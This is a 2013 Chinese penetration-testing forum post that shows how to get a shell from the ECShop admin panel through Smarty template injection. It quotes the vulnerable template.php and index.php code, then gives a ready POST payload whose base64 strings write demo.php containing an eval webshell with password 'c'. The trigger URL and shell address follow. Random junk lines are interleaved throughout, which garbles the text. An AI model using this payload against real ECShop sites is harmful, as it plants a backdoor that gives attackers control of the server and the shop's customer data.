中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 `6 V' A4 h9 Y
( L, h6 x" t1 X& ~
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
% y7 _; x* j5 v/ M* @: p
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
! @5 H+ T0 `8 {& A) J2 \
admin/template.php
4 ?' ]8 \6 d# y+ t9 y1 a
" ]6 L- f8 V5 N3 s# L0 T2 S
1 if ($_REQUEST['act'] == 'update_library')
8 e' e+ b8 M( v% z2 B
& G$ k4 x0 m' ^* q+ Q2 ~! H
2
8 E- a$ b7 ]9 z
4 v+ J( j) ] C5 v2 b2 f
3 {
1 u2 }3 B8 t4 S
$ E. O4 h ]" V* q. h
4 check_authz_json('library_manage');
$ e+ `; z/ u1 @
% y: O7 V9 Q0 M3 @5 W: u
5
! T. o( t- S0 [; \, j( S
; i7 x7 Z! U: L
6 $html = stripslashes(json_str_iconv($_POST['html']));
4 _) ^6 G K& J! G8 {: L
' L3 k+ |' x; D+ O S
7
/ P" ? Z! _- B2 n
; R$ A9 d; E" o, c! _0 l
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
5 _; \/ a0 w3 U( M
4 H$ t, |! E* t
9
# D2 C4 j8 E! d, B
! t, p' m8 |% {7 T2 i' w: o- p
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
4 t1 _" s& |; p; E# R3 ?* [
1 ~9 k# ~8 n0 c# o
11
6 d! M: r* k' {3 z
2 V+ f2 o9 I$ l
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
! W# n, k' {! o4 {
" A9 }. H% O, H5 E
13
& J- V5 z; P2 \' }8 L6 R
+ J" `# J4 Y% w& i: \7 l+ _3 m
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
0 i. m+ V, ]5 `$ F' G+ k! E* L
! o3 _! G7 Y6 i/ ^7 y
15 {
" _7 T- L6 j) U
) h- r, f. }6 u# @/ J
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
) u. i, k5 |$ x; O8 I
! E- ~' V7 y% y) s) s5 L2 L( A& u" U( ~7 n f
17 make_json_result('', $_LANG['update_lib_success']);
' {$ [5 {) O' Z% W; o
9 V8 K/ Y9 J$ z7 }& t0 J1 h
18 }
9 Y5 n& w0 J5 X- [
' O1 K4 e7 @2 z4 J( f
19 else
/ F' u- n/ c/ d& |3 G
0 G: D3 S2 I3 x3 U) {
20 {
5 b# t, K$ A ?$ g+ Q8 k! P* Z
) Y- ?2 G! F7 z" }( @: ~0 Q
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
9 ^' \ Q& A/ r/ r5 q
$ e$ Q. x3 {4 b
22 }
' T5 Y# |* c% ?5 N; y) _# O
& w6 B$ u9 @1 P1 q. n: T% D# M
23 }
- `, h+ H9 S7 D- M0 e/ `8 f
- G. ]+ O% g1 `% [# g1 O/ T
那么找个比较方便调用了模板的文件
2 q$ P$ J- L/ w# o( E; f8 S
index.php
5 g' I; A: B/ R6 Q5 a5 c' B
$ \0 s" N" [+ _- X' Z$ [
1 if ($act == 'cat_rec')
$ U( Q; |, d9 t( w+ d. Z [% O
. H1 _2 n# |8 u( j
2
1 g% S& m v6 S) F# c: t9 b1 Q
; N$ `' R* c! ]$ }& ^' v! |- Z4 y
3 {
3 l, l3 |2 S5 T6 i i6 @) ?7 f
& {0 s, _0 ~7 V+ r
4
1 g3 t1 P9 E/ L' N5 m( |, ]
0 r. H3 {2 f+ M) H( O5 K; }. W* w
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
+ g( C- y% {8 b. e
5 _, a8 E' M" \) X H, m
6
. i8 J/ R3 r; L2 M+ d
$ {5 o6 O) k2 {8 F m6 t8 W
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
7 _' B+ w) A. ]
+ }- I! k9 X0 b5 I
8
$ w2 o% |; T( |; R6 s; }7 Y8 K
' q7 l" w1 S9 u1 r ~6 }
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
3 T, o, Y3 c9 S, V+ o Y
6 T% R9 H% F7 j- \1 {2 v# z
10
6 ^. q1 ~; z, {9 t( T, o. L" D; n3 ?
+ k2 x+ a- M/ I# I) N R3 I; T; `
11 include_once('includes/cls_json.php');
+ E- O% c: @( v( \/ V+ S" l
, m: Z; H/ B- ~% [# b1 e
12
- G# Z z1 }6 D1 {9 ?
w; m* Q" y9 i( a& _/ U/ k1 s7 ]
13 $json = new JSON;
9 z1 e& }& e5 F6 Z
0 \- J8 u! i! B- z8 a5 t
14
: C! k) y* C3 P' ?6 W) v
) H" ]. k) D5 H9 S5 S6 ^
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
+ R' ?! Y9 Z5 g+ l0 h; b, R
/ {) d3 G1 a, ?# H$ f( w
16
" B# `. ]8 U+ O j i C3 n
- s; k$ S9 t7 l) t' L2 o
17 $children = get_children($cat_id);
/ n. N" o) e% B$ e0 U
& G/ b' O2 [( h8 `+ ^3 a- ?
18
6 a) ~! Q \( n8 {" O: A
% O0 ~0 o2 C, A2 P' {6 p
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
' T! I' T' I" q/ N- r
! l7 {' Y& e1 X2 v
20
3 B" k# u' X! P3 C
1 N2 P% |, v7 o" G0 E7 ]4 f
21 $smarty->assign('cat_rec_sign', 1);
( x3 T9 d3 ^: [8 i, o6 z8 i4 G
4 B4 h3 R" B7 O u8 ^, S- Y
22
7 C- {6 b% E6 Q6 d0 I3 {" |* q
" b, X+ q) x1 t3 M
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
. ^7 L" c: d# S8 q- X- m; P* W
; Q8 a4 m: D9 x6 G8 g( k' H M4 ?
24
# L9 q0 G/ w% J
( V: j K% h* t# Y& d0 p% ^
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% D' }* J. M* h
1 w/ N1 k7 |7 l" u6 J( @
26
. u' I$ Q& w+ `$ ?0 n4 c& k6 G) M
0 S( S8 h& |5 w( E; a) v; m
27 echo $rec_array[$rec_type];
7 i9 I* j7 }. n2 n5 y I
7 Z$ ]- J( `; @+ O' q& n
28
* @3 u5 y0 P, m/ s0 Y: w) ]
7 N" `# Z& A$ s( O/ I0 f4 I
29 die($json->encode($result));
) b1 }! X$ u% ~
* ?5 F k$ }5 r" T( W, a D
30
3 k- c5 K/ E6 f/ \/ I/ d9 h
& H' F; g5 f% ?; J' t
31 }
3 l/ a) }4 s6 a7 x, I( O5 @
" k8 t ~# s/ x
那么就有利用方法了
& ^; @; v# J6 V3 T% _
post包到http://localhost/ec/admin/template.php?act=update_library
, {, A4 _, C- ~/ N8 N
Post内容:
, L/ ^, F& a: |" h. m
/ o9 N. p- y, k7 v) d1 M
- i' X$ k0 {; E6 @, E$ G
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& ^3 H2 E! @/ }
! b1 d: D9 y% x9 I; S# D7 p \
然后访问http://localhost/ec/index.php?act=cat_rec
' T2 g1 a% \# {2 z1 ]8 ^$ k
/ }. y( V! T& t- E* C* g
shel地址:http://localhost/ec/demo.php
1 K) Q3 _; m7 O
密码c
2 R( @9 G. o! l. r4 S' e9 W+ v2 W
4 }: t' t4 M+ M/ k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2